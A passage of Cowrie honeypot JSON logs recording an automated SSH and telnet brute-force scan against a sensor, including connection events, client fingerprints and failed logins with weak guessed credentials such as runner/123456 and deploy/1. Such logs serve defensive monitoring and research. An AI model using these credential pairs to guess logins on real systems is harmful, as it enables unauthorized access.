0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:09.606502Z","src_ip":"192.109.200.237","session":"b313271acd58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:09.853825Z","src_ip":"192.109.200.237","session":"b313271acd58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57488,"dst_ip":"10.17.0.5","dst_port":23,"session":"03e52ff1fde1","protocol":"telnet","message":"New connection: 152.42.224.71:57488 (10.17.0.5:23) [session: 03e52ff1fde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:10.418732Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:10.940299Z","src_ip":"192.109.200.237","session":"b313271acd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.42873215675354,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:12.099402Z","src_ip":"152.42.224.71","session":"929e50bba928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00151538848877,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:12.239439Z","src_ip":"152.42.224.71","session":"b5916d2cc1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43330,"dst_ip":"159.203.135.109","dst_port":22,"session":"869b045700a5","protocol":"ssh","message":"New connection: 192.109.200.237:43330 (159.203.135.109:22) [session: 869b045700a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:12.892298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:13.000683Z","src_ip":"192.109.200.237","session":"869b045700a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:13.004781Z","src_ip":"192.109.200.237","session":"869b045700a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:13.395728Z","src_ip":"192.109.200.237","session":"869b045700a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:14.480341Z","src_ip":"192.109.200.237","session":"869b045700a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43348,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e9cd3b0b506","protocol":"ssh","message":"New connection: 192.109.200.237:43348 (159.203.135.109:22) [session: 0e9cd3b0b506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:16.317558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:16.322949Z","src_ip":"192.109.200.237","session":"0e9cd3b0b506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:16.405373Z","src_ip":"192.109.200.237","session":"0e9cd3b0b506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:16.653520Z","src_ip":"192.109.200.237","session":"0e9cd3b0b506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00145173072815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:16.750346Z","src_ip":"152.42.224.71","session":"e34e44b89115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:17.805696Z","src_ip":"192.109.200.237","session":"0e9cd3b0b506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43374,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e38433cbff6","protocol":"ssh","message":"New connection: 192.109.200.237:43374 (159.203.135.109:22) [session: 3e38433cbff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:19.691267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:19.695574Z","src_ip":"192.109.200.237","session":"3e38433cbff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:19.781049Z","src_ip":"192.109.200.237","session":"3e38433cbff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:20.030057Z","src_ip":"192.109.200.237","session":"3e38433cbff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.33487296104431,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:20.586554Z","src_ip":"152.42.224.71","session":"2dd3e2f5fdfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:21.116624Z","src_ip":"192.109.200.237","session":"3e38433cbff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60568,"dst_ip":"159.203.135.109","dst_port":22,"session":"2244786a1bac","protocol":"ssh","message":"New connection: 192.109.200.237:60568 (159.203.135.109:22) [session: 2244786a1bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:23.017553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:23.099183Z","src_ip":"192.109.200.237","session":"2244786a1bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:23.166599Z","src_ip":"192.109.200.237","session":"2244786a1bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:23.438771Z","src_ip":"192.109.200.237","session":"2244786a1bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:24.523947Z","src_ip":"192.109.200.237","session":"2244786a1bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50276,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7c129f42d37","protocol":"telnet","message":"New connection: 152.42.224.71:50276 (10.17.0.5:23) [session: a7c129f42d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:25.429127Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60580,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb4813dc24eb","protocol":"ssh","message":"New connection: 192.109.200.237:60580 (159.203.135.109:22) [session: eb4813dc24eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:26.416518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:26.421221Z","src_ip":"192.109.200.237","session":"eb4813dc24eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:26.503392Z","src_ip":"192.109.200.237","session":"eb4813dc24eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:26.748930Z","src_ip":"192.109.200.237","session":"eb4813dc24eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:27.920777Z","src_ip":"192.109.200.237","session":"eb4813dc24eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60612,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ea5cbd87b2","protocol":"ssh","message":"New connection: 192.109.200.237:60612 (159.203.135.109:22) [session: 82ea5cbd87b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:29.771271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:29.774467Z","src_ip":"192.109.200.237","session":"82ea5cbd87b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:29.858139Z","src_ip":"192.109.200.237","session":"82ea5cbd87b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:30.108385Z","src_ip":"192.109.200.237","session":"82ea5cbd87b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:31.201739Z","src_ip":"192.109.200.237","session":"82ea5cbd87b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52372,"dst_ip":"159.203.135.109","dst_port":22,"session":"aabccd67f834","protocol":"ssh","message":"New connection: 192.109.200.237:52372 (159.203.135.109:22) [session: aabccd67f834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:33.090571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:33.095956Z","src_ip":"192.109.200.237","session":"aabccd67f834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:33.276673Z","src_ip":"192.109.200.237","session":"aabccd67f834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:33.524601Z","src_ip":"192.109.200.237","session":"aabccd67f834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.879443645477295,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:33.847812Z","src_ip":"152.42.224.71","session":"93ef3eee0a50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:34.611847Z","src_ip":"192.109.200.237","session":"aabccd67f834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52376,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a343fa2aff2","protocol":"ssh","message":"New connection: 192.109.200.237:52376 (159.203.135.109:22) [session: 2a343fa2aff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:36.473472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:24:36.478494Z","src_ip":"192.109.200.237","session":"2a343fa2aff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-s